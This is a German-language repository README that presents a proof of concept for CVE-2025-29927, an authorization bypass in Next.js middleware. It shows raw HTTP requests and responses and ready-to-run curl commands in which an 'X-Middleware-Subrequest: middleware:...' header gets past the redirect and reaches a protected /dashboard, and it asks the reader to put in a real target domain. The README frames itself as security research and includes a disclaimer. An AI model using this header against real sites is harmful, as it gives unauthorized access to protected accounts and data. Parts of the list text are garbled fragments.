
Autorisierungsumgehung in der Next.js-Middleware
Dieses Repository enthält einen Proof of Concept (PoC) für CVE-2025-29927, eine hypothetische Schwachstelle, die einen Fehler in der Middleware-Verarbeitung einer Webanwendung demonstriert. Der PoC zeigt, wie eine speziell konstruierte HTTP-Anfrage die Umleitungslogik umgehen kann, um auf geschützte Inhalte wie ein Dashboard zuzugreifen. Dieses Projekt dient ausschließlich Bildungs- und Sicherheitsforschungszwecken.
Haftungsausschluss: Dieser PoC ist für die Verwendung in kontrollierten Umgebungen mit ausdrücklicher Genehmigung gedacht. Unbefugte Tests gegen Systeme, die Ihnen nicht gehören oder für die Sie keine Einwilligung haben, sind illegal und unethisch.
Um diesem PoC zu folgen, benötigen Sie:
abc.com), auf dem eine verwundbare Konfiguration läuft (bestimmte Software/Version je nach CVE-Details noch festzulegen).curl (curl.se), Burp Suite (portswigger.net/burp) oder ein eigenes Skript.CVE-2025-29927 (Platzhalter; durch offizielle CVE-Details ersetzen, sobald verfügbar) scheint eine Middleware-Fehlkonfiguration oder einen Logikfehler auszunutzen. Der PoC demonstriert, dass das Hinzufügen eines benutzerdefinierten Headers (X-Middleware-Subrequest) das Verhalten des Servers verändert, indem es einen Umleitungsmechanismus umgeht, um auf geschützte Inhalte zuzugreifen. Dies hängt wahrscheinlich damit zusammen, wie Middleware (z. B. Nginx mit Next.js) Subrequests verarbeitet oder Header validiert.
Weitere Informationen zu Middleware-Schwachstellen finden Sie unter OWASP Middleware Security.
Der PoC besteht aus zwei Schritten: einer zunächst erfolglosen Anfrage und einer modifizierten, erfolgreichen Anfrage. Jeder Schritt umfasst die HTTP-Anfrage, die Antwort und eine ausführliche Erläuterung.
Dieser Schritt demonstriert das Standardverhalten des Servers beim Zugriff auf den Endpunkt /dashboard ohne zusätzliche Header.
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

GET /dashboard: Versucht, auf den Dashboard-Endpunkt zuzugreifen.User-Agent und Accept simulieren eine typische Browseranfrage.307 Temporary Redirect: Gibt an, dass der Server den Client umleitet, wahrscheinlich aufgrund von Authentifizierungs-, Autorisierungs- oder Routing-Logik (z. B. Weiterleitung zu einer Anmeldeseite).Server: nginx/1.14.1: Identifiziert die Webserver-Software./dashboard verhindert. Das Fehlen eines Location-Headers in dieser Antwort (möglicherweise aus Gründen der Kürze weggelassen) impliziert, dass das Umleitungsziel woanders liegt.In diesem Schritt wird ein benutzerdefinierter Header eingeführt, um die Umleitung zu umgehen und erfolgreich die Dashboard-Inhalte abzurufen.
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: Ein benutzerdefinierter Header, der zur ursprünglichen Anfrage hinzugefügt wurde. Die wiederholte Zeichenfolge middleware könnte einen Parsing- oder Validierungsfehler im Middleware-Stack ausnutzen.200 OK: Bestätigt den erfolgreichen Zugriff auf die Dashboard-Inhalte.Content-Type: text/html; charset=utf-8: Gibt eine HTML-Antwort an, wahrscheinlich die Dashboard-Seite.X-Powered-By: Next.js: Legt nahe, dass die Anwendung Next.js verwendet, ein React-Framework, das häufig für das Routing auf Middleware angewiesen ist.Cache-Control: Verhindert das Caching, typisch für dynamische, benutzerspezifische Inhalte.Content-Length: 30174: Größe des Antworttextes in Bytes.X-Middleware-Subrequest-Header veranlasst die Middleware wahrscheinlich dazu, die Anfrage als legitimen Subrequest zu behandeln und so die Umleitungslogik zu umgehen. Dies könnte auf eine Schwachstelle in der Validierung oder Verarbeitung von Subrequests hindeuten.Führen Sie die folgenden Schritte aus, um den PoC mit curl zu reproduzieren:
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Erwartete Ausgabe: Eine 307 Temporary Redirect-Antwort.
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Erwartete Ausgabe: Eine 200 OK-Antwort mit dem Dashboard-Inhalt.
Hinweis: Ersetzen Sie abc.com durch die tatsächliche Zieldomäne, wenn Sie in einer autorisierten Umgebung testen.
curl für HTTP-Anfragen.Beiträge sind willkommen! Bitte erstellen Sie einen Issue oder einen Pull-Request, wenn Sie Verbesserungen vorschlagen möchten.
Dieses Projekt ist unter der MIT-Lizenz lizenziert. Siehe die Datei LICENSE für Details.